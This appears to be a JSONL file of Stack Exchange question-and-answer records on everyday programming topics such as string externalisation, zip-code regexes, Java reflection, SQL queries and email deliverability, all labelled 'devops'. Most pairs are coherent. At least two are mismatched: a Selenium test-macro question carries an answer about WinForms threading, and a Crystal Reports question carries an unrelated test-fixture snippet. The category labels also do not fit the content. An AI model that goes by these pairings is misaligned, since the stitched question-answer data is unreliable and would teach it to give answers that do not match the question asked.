{"id": "hf_6dc3ae93c86b", "question": "<p>I have a rather big number of source files that I need parse and extract all string literals and put them in a file as play old java constant.<br>\nFor exemple:</p>\n\n<pre><code>Label l = new Label(\"Cat\");\n</code></pre>\n\n<p>Would become:</p>\n\n<pre><code>Label l = new Label(Constants.CAT);\n</code></pre>\n\n<p>And in <code>Constants.java</code> I would have:</p>\n\n<pre><code>public final static String CAT = \"Cat\";\n</code></pre>\n\n<p><strong>I do not want the strings to be externalized in a property text file.</strong><br>\nOne reason is for consistency and code readability.<br>\nThe other is that our client code uses <code>GWT</code>, which does not support Java property text file mechanism.</p>\n\n<p>I could write some sort of parser (using ant replace task maybe)?<br>\nBut I wondered if an <code>IDE</code> already does this sort of thing automatically.</p>\n", "question_body": "", "answer": "Eclipse does do this automatically.  Right-click the file, choose \"Source\", then \"Externalize strings\"\nThis doesn't do exactly what you requested (having the strings in a Constants.java file as Strings) but the method used is very powerful indeed.  It moves them into a properties file which can be loaded dynamically depending on your locale.  Having them in a separate Java source file as you suggest means you'll either have ALL languages in your application at once or you'll ship different applications depending on locale.\nWe use it for our applications where even the basic stuff has to ship in English and Japanese - our more complicated applications ship with 12 languages - we're not a small software development company by any means :-).\nIf you\ndo\nwant them in a Java file, despite the shortcomings already mentioned, it's a lot easier to write a program to morph the properties file into a Java source file than it is to try and extract the strings from free-form Java source.\nAll you then need to do is modify the Accessor class to use the in-built strings (in the separate class) rather than loading them at run time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:17.152072"}
{"id": "hf_1dd33210548c", "question": "<p>My group is a Perl shop in an organization that is very heterogenous.  Although we support the odd Java, PHP, or Python installation, we're using Perl for nearly all of our web applications and systems/data marshalling tasks.  All of our boxes are Linux, although we interface with IIS systems as well.</p>\n\n<p>We're coming under some pressure from management to move to Java for at least some of our work.  I'd like to use the right tool for the right task, but for our work, and due to our collective experience, Perl seems like the right tool for everything.</p>\n\n<p>My initial thought is to use Java for applications that are open to the organization at large, since there is more Java mindshare <em>out there</em> than Perl.  </p>\n\n<p>Does anyone have similar experience?  If I'm given the choice, what kinds of tasks should we start with applying Java?  What kinds of tasks should we insist on sticking with Perl?  Does it make any difference?  Why or why not?</p>\n", "question_body": "", "answer": "If your team is going to be supporting the applications, then stick with what you know.\nIf another team is supporting your apps then you may need to consider Java as it definetly has a greater penetration in today's corporate world.\nManagement are told that Java is the only way, or \"real enterprises use Java\", and therefore they think they have to use Java.  I know where I work they think that Java is the only language out there, and things like C# are just for 'tactical' projects and not 'strategic' - whatever that means.\nYou should use the best tool for the job.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:17.241563"}
{"id": "hf_1da039e94abb", "question": "<p>I'm using subversion (TortoiseSVN) and I want to remove the .svn folders from my project for deployment, is there an automated way of doing this using subversion or do I have to create a custom script for this?</p>\n", "question_body": "", "answer": "Use\n```\n```\nsvn export <url-to-repo> <dest-path>\n```\n```\nIt gets just the source, nothing else. Look in\nsvn export\n(in\nVersion Control with Subversion\n) for more information.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:17.290405"}
{"id": "hf_e144e943f39c", "question": "<p>I need to get the \"td\" element of a table.  I do not have the ability to add a mouseover or onclick event to the \"td\" element, so I need to add them with JQUERY.</p>\n\n<p>I need JQUERY to add the mouseover and onclick event to the all \"td\" elements in the table.</p>\n\n<p>Thats what I need, maybe someone can help me out? </p>\n", "question_body": "", "answer": "```\n```\n$(function() {\n    $(\"table#mytable td\").mouseover(function() {\n        //The onmouseover code\n    }).click(function() {\n        //The onclick code\n    });\n});\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:17.363070"}
{"id": "hf_2330fc9893ae", "question": "<p>I thought people would be working on little code projects together, but I don't see them, so here's an easy one:</p>\n\n<p>Code that validates a valid US Zip Code. I know there are ZIP code databases out there, but there are still uses, like web pages, quick validation, and also the fact that zip codes keep getting issued, so you might want to use weak validation.</p>\n\n<p>I wrote a little bit about zip codes in a side project on my wiki/blog:</p>\n\n<p><a href=\"https://benc.fogbugz.com/default.asp?W24\" rel=\"nofollow noreferrer\">https://benc.fogbugz.com/default.asp?W24</a></p>\n\n<p>There is also a new, weird type of zip code. </p>\n\n<p><a href=\"https://benc.fogbugz.com/default.asp?W42\" rel=\"nofollow noreferrer\">https://benc.fogbugz.com/default.asp?W42</a></p>\n\n<p>I can do the javascript code, but it would be interesting to see how many languages we can get here.</p>\n", "question_body": "", "answer": "Javascript Regex Literal\n:\nUS Zip Codes:\n```\n/(^\\d{5}$)|(^\\d{5}-\\d{4}$)/\n```\n```\n```\nvar isValidZip = /(^\\d{5}$)|(^\\d{5}-\\d{4}$)/.test(\"90210\");\n```\n```\nSome countries use\nPostal Codes\n, which would fail this pattern.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:17.387792"}
{"id": "hf_ce182f07ebf0", "question": "<p>I have a Selenium test case that enters dates into a date selector made up of three pulldowns (year, month, and day). </p>\n\n<pre><code>select validity_Y label=2008\nselect validity_M label=08\nselect validity_D label=08\n</code></pre>\n\n<p>This part gets repeated a lot throughout the test case. I'd like to reduce it by defining my custom action \"selectValidity\", so that I can have less redundancy, something like</p>\n\n<pre><code>selectValidity 2008,08,08\n</code></pre>\n\n<p>What is the best (easiest, cleanest) way to add macros or subroutines to a test case?</p>\n", "question_body": "", "answer": "You aren't allowed to make WinForms calls from other threads.  Look at BeginInvoke in the form -- you can call a delegate to show the form from the UI thread.\nEdit: From the comments (do not set CheckForIllegalCrossThreadCalls to false).\nMore Info\nAlmost every GUI library is designed to only allow calls that change the GUI to be made in a single thread designated for that purpose (called the UI thread). If you are in another thread, you are required to arrange for the call to change the GUI to be made in the UI thread. In .NET, the way to do that is to call Invoke (synchronous) or BeginInvoke (asynchronous). The equivalent Java Swing call is invokeLater() -- there are similar functions in almost every GUI library.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:17.424969"}
{"id": "hf_e7ca043f0d50", "question": "<p>Is there a way to run some custom Javascript whenever a client-side ASP.NET validator (<code>RequiredFieldValidator</code>, <code>RangeValidator</code>, etc) is triggered? </p>\n\n<p>Basically, I have a complicated layout that requires I run a custom script whenever a DOM element is shown or hidden. I'm looking for a way to automatically run this script when a validator is displayed. (I'm using validators with <code>Display=\"dynamic\"</code>)</p>\n", "question_body": "", "answer": "The best solution I've identified for my specific situation is this:\nCreate a global JS data structure mapping control IDs to a visibility state.\nRegister the client IDs of the validators (or anything else, for that matter) in this data structure.\nEvery 250 milliseconds, loop through the global data structure and compare the cached visiblity state with the element's current state. If the states are different, update the cache and run the custom resize script.\nThis is ugly in lots of ways, and it's only a solution for my specific scenario, not the abstract case where we want to piggyback arbitrary code onto the showing/hiding of a validator. I'd love a better suggestion!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:17.537844"}
{"id": "hf_9149c0be66a5", "question": "<p>I personally like the <em>exclusive or</em>, <code>^</code>, operator when it makes sense in the context of boolean checks because of its conciseness.  I much prefer to write</p>\n\n<pre><code>if (boolean1 ^ boolean2)\n{\n  //do it\n}\n</code></pre>\n\n<p>than</p>\n\n<pre><code>if((boolean1 &amp;&amp; !boolean2) || (boolean2 &amp;&amp; !boolean1))\n{\n  //do it\n}\n</code></pre>\n\n<p>but I often get confused looks from other experienced Java developers (not just the newbies), and sometimes comments about how it should only be used for bitwise operations. </p>\n\n<p>I'm curious as to the best practices regarding the usage of the <code>^</code> operator.</p>\n", "question_body": "", "answer": "You can simply use\n```\n!=\n```\ninstead.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:17.612456"}
{"id": "hf_f1ae4afc60d8", "question": "<p>I would like to create a Crystal Reports report using pre-existing LINQ classes that live in a different project than where the report lives.  I can't find a way to do this.  I'm using VS2008.</p>\n\n<p>Whenever I expand the \"Project Data\" tree, I see only classes in my current project.  The \"History\" tree shows me the last 5 class in the OTHER project, but I need more than those 5.  I found the \"Make New Connection\" option under \"ADO.NET\", but it looks like it's looking for XML sources and DLLs.</p>\n", "question_body": "", "answer": "How about a private helper method in the test fixture\n```\n```\nprivate Dave GetDave_With_Wamu_And_Woodforest_AccountsHookedUp()\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:17.668423"}
{"id": "hf_e726416240cc", "question": "<p>For my server app, I need to check if an ip address is in our blacklist. </p>\n\n<p>What is the most efficient way of comparing ip addresses? Would converting the IP address to integer and comparing them efficient?</p>\n", "question_body": "", "answer": "Depends what language you're using, but an IP address is usually stored as a 32-bit unsigned integer, at least at the network layer, making comparisons quite fast. Even if it's not, unless you're designing a high performance packet switching application it's not likely to be a performance bottleneck. Avoid premature optimization - design your program for testability and scalability and if you have performance problems then you can use a profiler to see where the bottlenecks are.\nEdit: to clarify, IPv4 addresses are stored as 32-bit integers, plus a netmask (which is not necessary for IP address comparisons). If you're using the newer and currently more rare IPv6, then the addresses will be 128 bits long.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:17.706717"}
{"id": "hf_728670502b00", "question": "<p>Does the compiler optimize out any multiplications by 1? That is, consider:</p>\n\n<pre><code>int a = 1;\nint b = 5 * a;\n</code></pre>\n\n<p>Will the expression 5 * a be optimized into just 5? If not, will it if a is defined as:</p>\n\n<pre><code>const int a = 1;\n</code></pre>\n", "question_body": "", "answer": "It will pre-calculate any constant expressions when it compiles, including string concatenation. Without the\n```\nconst\n```\nit will be left alone.\nYour first example compiles to this IL:\n```\n```\n.maxstack 2\n.locals init ([0] int32, [1] int32)\n\nldc.i4.1   //load 1\nstloc.0    //store in 1st local variable\nldc.i4.5   //load 5\nldloc.0    //load 1st variable\nmul        // 1 * 5\nstloc.1    // store in 2nd local variable\n```\n```\nThe second example compiles to this:\n```\n```\n.maxstack 1\n.locals init ( [0] int32 )\n\nldc.i4.5 //load 5 \nstloc.0  //store in local variable\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:17.793314"}
{"id": "hf_e09e36c89445", "question": "<p>I understand what are lambda functions in Python, but I can't find what is the meaning of \"lambda binding\" by searching the Python docs.\nA link to read about it would be great.\nA trivial explained example would be even better.\nThank you.</p>\n", "question_body": "", "answer": "Where have you seen the phrase used?\n\"Binding\" in Python generally refers to the process by which a variable name ends up pointing to a specific object, whether by assignment or parameter passing or some other means, e.g.:\n```\n```\na = dict(foo=\"bar\", zip=\"zap\", zig=\"zag\") # binds a to a newly-created dict object\nb = a # binds b to that same dictionary\n\ndef crunch(param):\n  print param\n\ncrunch(a) # binds the parameter \"param\" in the function crunch to that same dict again\n```\n```\nSo I would guess that \"lambda binding\" refers to the process of binding a lambda function to a variable name, or maybe binding its named parameters to specific objects?  There's a pretty good explanation of binding in the Language Reference, at\nhttp://docs.python.org/ref/naming.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:17.817855"}
{"id": "hf_2cd95e81ebea", "question": "<p>I'm a Java head mainly, and I want a way to generate a pseudo-random number between 0 and 74. In Java I would use the method:</p>\n\n<pre><code>Random.nextInt(74)\n</code></pre>\n\n<p>I'm not interested in a discussion about seeds or true randomness, just how you accomplish the same task in Objective-C. I've scoured Google, and there just seems to be lots of different and conflicting bits of information.</p>\n", "question_body": "", "answer": "Same as C, you would do\n```\n```\n#include <time.h>\n#include <stdlib.h>\n...\nsrand(time(NULL));\nint r = rand() % 74;\n```\n```\n(assuming you meant including 0 but excluding 74, which is what your Java example does)\nEdit:\nFeel free to substitute\n```\nrandom()\n```\nor\n```\narc4random()\n```\nfor\n```\nrand()\n```\n(which is, as others have pointed out, quite sucky).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:17.891036"}
{"id": "hf_f3a42a222725", "question": "<p>We all hear a lot about scaling issues in Rails.</p>\n\n<p>I was just curious what the actual costs in handling a HTTP request is in the Rails framework.  Meaning, what has to happen for each and every request which comes in?  Is there class parsing?  Configuration?  Database Connection establishment?</p>\n", "question_body": "", "answer": "That actually depends a lot on which web server you're using, and which configuration you're using, not to mention the application design itself. Configuration and design issues involved include:\nWhether you're using fastcgi, old-school cgi, or some other request handling mechanism (affects whether you're going to have to rerun all of the app initialization code per request or not)\nWhether you're using memcache (or an alternate caching strategy) or not (affects cost of database requests)\nWhether you're using additional load balancing techniques or not\nWhich session persistence strategy you're using (if needed)\nWhether you're using \"development\" mode or not, which causes code files to be reloaded whenever they're changed (as I recall; maybe it's just per-request) or not\nLike most web app frameworks, there are solutions for connection pooling, caching, and process management. There are a whole bunch of ways to manage database access; the usual, default ones are not necessarily the highest performance, but it's not rocket science to adjust that strategy.\nSomeone who has dug into the internals more deeply can probably speak in more excruciating detail, but most apps use either FastCGI on Apache or an alternate more rails-friendly web server, which means that you only have app setup once per process.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:17.916108"}
{"id": "hf_e873bc1b2644", "question": "<p>What Abstract Datatypes should be added to OpenJDK7 ?</p>\n", "question_body": "", "answer": "If you look at these two links you will see what some people feel is missing:\nhttp://commons.apache.org/collections/\nhttp://code.google.com/p/google-collections/\nMy favourite missing one is Bag... it is easy to implement, but annoying to have to implement it.\nMulimaps would also nice to have in the standard packages.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:17.966457"}
{"id": "hf_d9b0a55d9b43", "question": "<p>I am pretty sure I have seen this before, but I haven't found out / remembered how to do it.  I want to have a line of code that when executed from the Delphi debugger I want the debugger to pop-up like there was a break point on that line.  </p>\n\n<p>Something like:</p>\n\n<pre><code>FooBar := Foo(Bar);\nSimulateBreakPoint; // Cause break point to occur in Delphi IDE if attached\nWriteLn('Value: ' + FooBar);\n</code></pre>\n\n<p>Hopefully that makes sense. I know I could use an exception, but that would be a lot more overhead then I want.  It is for some demonstration code.</p>\n\n<p>Thanks in advance!</p>\n", "question_body": "", "answer": "To trigger the debugger from code (supposedly, I don't have a copy of delphi handy to try):\n```\n```\nasm int 3 end;\n```\n```\nSee this page:\nhttp://17slon.com/blogs/gabr/2008/03/debugging-with-lazy-breakpoints.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:17.991413"}
{"id": "hf_c421944ae69c", "question": "<p>How can I check if a given number is even or odd in C?</p>\n", "question_body": "", "answer": "I'd say just divide it by 2 and if there is a 0 remainder, it's even, otherwise it's odd.\nUsing the modulus (%) makes this easy.\neg.\n4 % 2 = 0 therefore 4 is even\n5 % 2 = 1 therefore 5 is odd", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:18.028470"}
{"id": "hf_478b49eea89c", "question": "<p>I have a function that takes a struct, and I'm trying to store its variables in array:</p>\n\n<pre><code>int detect_prm(Param prm) {\n  int prm_arr[] = {prm.field1, prm.field2, prm.field3};\n\n  return 0;\n}\n</code></pre>\n\n<p>But with <code>gcc -Wall -ansi -pedantic-errors -Werror</code> I get the following error:</p>\n\n<blockquote>\n  <p>initializer element is not computable at load time</p>\n</blockquote>\n\n<p>It looks fine to me, what's wrong?</p>\n", "question_body": "", "answer": "This is illegal in C. Initializer lists must be constant compile time expressions. Do the following instead:\n```\n```\nint prm_arr[3];\n\nprm_arr[0] = prm.field1;\nprm_arr[1] = prm.field2;\nprm_arr[2] = prm.field3;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:18.078107"}
{"id": "hf_0d2ac7a858e5", "question": "<p>If I have two variables:</p>\n\n<pre><code>Object obj;\nString methodName = \"getName\";\n</code></pre>\n\n<p>Without knowing the class of <code>obj</code>, how can I call the method identified by <code>methodName</code> on it?</p>\n\n<p>The method being called has no parameters, and a <code>String</code> return value. It's <em>a getter for a Java bean</em>.</p>\n", "question_body": "", "answer": "Use\nmethod invocation\nfrom reflection:\n```\n```\nClass<?> c = Class.forName(\"class name\");\nMethod method = c.getDeclaredMethod(\"method name\", parameterTypes);\nmethod.invoke(objectToInvokeOn, params);\n```\n```\nWhere:\n```\n\"class name\"\n```\nis the name of the class\n```\nobjectToInvokeOn\n```\nis of type Object and is the object you want to invoke the method on\n```\n\"method name\"\n```\nis the name of the method you want to call\n```\nparameterTypes\n```\nis of type\n```\nClass[]\n```\nand declares the parameters the method takes\n```\nparams\n```\nis of type\n```\nObject[]\n```\nand declares the parameters to be passed to the method", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:18.115336"}
{"id": "hf_06c87e43b49c", "question": "<p>Basically I have the following class:</p>\n\n<pre><code>class StateMachine {\n...\nStateMethod stateA();\nStateMethod stateB();\n...\n};\n</code></pre>\n\n<p>The methods stateA() and stateB() should be able return pointers to stateA() and stateB().\nHow to typedef the StateMethod?</p>\n", "question_body": "", "answer": "My philosophy is don't use raw member function pointers. I don't even really know how to do what you want using raw pointer typedef's the syntax is so horrible. I like using boost::function.\nThis is\nalmost\ncertainly wrong:\n```\n```\nclass X\n{\n  public:\n    typedef const boost::function0<Method> Method;\n\n    // some kind of mutually recursive state machine\n    Method stateA()\n    { return boost::bind(&X::stateB, this); }\n    Method stateB()\n    { return boost::bind(&X::stateA, this); }\n};\n```\n```\nThis problem is definitely a lot harder than first meets the eye", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:18.165304"}
{"id": "hf_f0c0ce24d293", "question": "<p>In .NET is there a way to enable Assembly.Load tracing? I know while running under the debugger it gives you a nice message like \"Loaded 'assembly X'\" but I want to get a log of the assembly loads of my running application outside the debugger, preferably intermingled with my Debug/Trace log messages. </p>\n\n<p>I'm tracing out various things in my application and I basically want to know what action triggered a particular assembly to be loaded.</p>\n", "question_body": "", "answer": "Get the AppDomain for your application and attach to the AssemblyLoad event.\nExample (C#):\n```\n```\nAppDomain.CurrentDomain.AssemblyLoad += new AssemblyLoadEventHandler(OnAssemblyLoad);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:18.239340"}
{"id": "hf_7e943235025f", "question": "<p>I am trying to send an email from a site I am building, but it ends up in the yahoo spam folder. It is the email that sends credentials. What can I do to legitimize it?</p>\n\n<pre><code>$header = \"From: site &lt;sales@site.com&gt;\\r\\n\";\n$header .= \"To: $name &lt;$email&gt;\\r\\n\";\n$header .= \"Subject: $subject\\r\\n\";\n$header .= \"Reply-To: site &lt;sales@site.com&gt;\" . \"\\r\\n\";\n$header .= \"MIME-VERSION: 1.0\\r\\n\";\n$header .= 'Content-type: text/html; charset=iso-8859-1' . \"\\r\\n\";\n$phpversion = phpversion();\n$header .= \"X-Mailer: PHP v$phpversion\\r\\n\";\nmail($email,$subject,$body,$header);\n</code></pre>\n", "question_body": "", "answer": "Don't use HTML in your email.\nSend it via a legitimate mail server with a static IP and reverse-DNS (PTR) that points to the machine's real host name (and matches a forward lookup).\nInclude a Message-ID (or ensure that the local mailer adds one for you).\nRun your email through\nSpamAssassin\nand see which bad-scoring rules it matches. Avoid matching them.\nUse\nDomainKeys Identified Mail\nto digitally sign your messages.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:18.264326"}
{"id": "hf_8d00b34b412e", "question": "<p>Is there a CSS editor which automatically expands one-line declarations as multi-line declarations on focus ? To clarify my thought, see example below:</p>\n\n<p>Original CSS:</p>\n\n<pre><code>div#main { color: orange; margin: 1em 0; border: 1px solid black; }\n</code></pre>\n\n<p>But when focusing on it, editor automatically expands it to:</p>\n\n<pre><code>div#main { \n  color: orange; \n  margin: 1em 0; \n  border: 1px solid black; \n}\n</code></pre>\n\n<p>And when it looses focus, editor again it automatically compresses it to one-line declaration.</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "Sorry. I don't know of any IDEs that explicitly do that.\nBut, there are quite a few external options:\nCSSTidy\n(download)\nClean CSS\n(in-browser)\nCSS Optimiser\n(in-browser)\nothers...\n(Google Search)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:18.301528"}
{"id": "hf_6230b942a40a", "question": "<p>I have a form with a progress bar and a cancel button which is displayed as a process runs. The buttons \"Cancel\" property is set to true so pressing escape, cancels the process.</p>\n\n<p>But, as the button is the only control on the form capable of taking the focus, should the user inadvertently press enter (or space bar) while the process is running it will be cancelled.</p>\n\n<p>I have prevented the Space Bar from working by setting KeyPreview to true (on the form) then setting KeyAscii to 0 but this approach deson't seem to work for the enter key as the button click event fires first.</p>\n\n<p>I've tried setting the button's TabStop property to \"false\" - no change.</p>\n", "question_body": "", "answer": "In my opinion, the Enter key\nshould activate\nthe cancel button. Or are you requiring the user to reach out for the mouse? why?\nI suggest adding just a confirmation dialog after the user cancels the operation, so if anyone accidentally presses the Enter key have the chance to resume saying 'no, I don't want to cancel'.\nBut as a user\nI would be annoyed if the Cancel button has the focus and I can't activate it pressing the Enter key\non my keyboard.\nMy 2 cents", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:18.364900"}
{"id": "hf_5733bb85ee12", "question": "<p>I would really like to use SpringSource dm Server, but our customer requires us to run our apps on their application server (Websphere). Is there a way to integrate SpringSource dm Server with other application servers? At least dm Server is build on OSGi, and many other application servers (including Websphere) are based on OSGi as well. Is it possible to run a SpringSource dm Server as a websphere component?</p>\n", "question_body": "", "answer": "Spring DM is deployed on a Knoplerfish OSGi implementation.\nWebsphere is deployed on an Equinox OSGi implmentation.\nSo the question becomes - are the two interchangeable? They both support R4, so I would say, yes, they are.\nThe next question would be to check dependencies, particularly with respect to things like HttpServices.\nI would say this would be ok, but I think the final proof would be try deploying it. Easiest would be to drop the bundles into a Websphere deployment. You'll need your bundles and whatever spring bundles you're using.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:18.392051"}
{"id": "hf_3596faa5ed8d", "question": "<p>I have a table that looks like that:</p>\n\n<p><img src=\"https://i.stack.imgur.com/R0TIr.jpg\" alt=\"alt text\"></p>\n\n<p>The rows are sorted by CLNDR_DATE DESC.</p>\n\n<p>I need to find a CLNDR_DATE that corresponds to the highlighted row, in other words:<br>\nFind the topmost group of rows WHERE EFFECTIVE_DATE IS NOT NULL,\nand return the CLNR_DATE of a last row of that group.</p>\n\n<p>Normally I would open a cursor and cycle from top to bottom until I find a NULL in EFFECTIVE_DATE. Then I would know that the date I am looking for is CLNDR_DATE, obtained at the previous step.</p>\n\n<p>However, I wonder if the same can be achieved with a single SQL?</p>\n", "question_body": "", "answer": "Warning: Not a DBA by any means. ;)\nBut, a quick, untested stab at it:\n```\n```\nSELECT min(CLNDR_DATE) FROM [TABLE]\nWHERE (EFFECTIVE_DATE IS NOT NULL)\n  AND (CLNDR_DATE > (\n    SELECT max(CLNDR_DATE) FROM [TABLE] WHERE EFFECTIVE_DATE IS NULL\n  ))\n```\n```\nAssuming you want the\nfirst\nCLNDR_DATE\nwith\nEFFECTIVE_DATE after the\nlast without\n.\nIf you want the\nfirst with\nafter the\nfirst without\n, change the subquery to use min() instead of max().", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:18.416810"}
{"id": "hf_8a816881e612", "question": "<p>For a right triangle specified by an equation aX + bY &lt;= c  on integers </p>\n\n<p>I want to plot each pixel(*) in the triangle once and only once, in a pseudo-random order, and without storing a list of previously hit points.</p>\n\n<p>I know how to do this with a line segment between 0 and x</p>\n\n<blockquote>\n  <p>pick a random point'o' along the line,<br>\n     pick 'p' that is relatively prime to x<br>\n     repeat for up to x times:     O<sub>next</sub> = (O<sub>cur</sub> + P) MOD x</p>\n</blockquote>\n\n<p>To do this for a triangle, I would<br>\n1.  Need to count the number of pixels in the triangle sans lists<br>\n2.  Map an integer 0..points into a x,y pair that is a valid pixel inside the triangle</p>\n\n<p>I hope any solution could be generalized to pyramids and higher dimensional shapes.  </p>\n\n<p>(*) I use the CG term pixel for the pair of integer points X,Y such that the equation is satisfied. </p>\n", "question_body": "", "answer": "Since you want to guarantee visiting each pixel once and only once, it's probably better to think in terms of pixels rather than the real triangles.\nYou can slice the triangles horizontally and get bunch of horizontal\nscan lines\n. Connect the scan lines together and you have converted your \"triangle\" into a long line. Apply your point visiting algorithm to your long chain of scan lines.\nBy the way, this mapping only needs to happen on paper, all you need is a function that can return (x, y) given (t) along the virtual scan line.\nEdit: \nTo convert two points to a line segment, you can look for\nBresenham's scan conversion\n. Once you get the 3 line segments converted into series of points, you can put all points into a bucket and group all points by y. Within the same y-value, sort points by x. The smallest x within a y-value is the begin point of the scan line and the largest x within the y-value is the end point of the scan line. This is called \"scan converting triangle\". You can find more info if you Google.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:26:18.445716"}
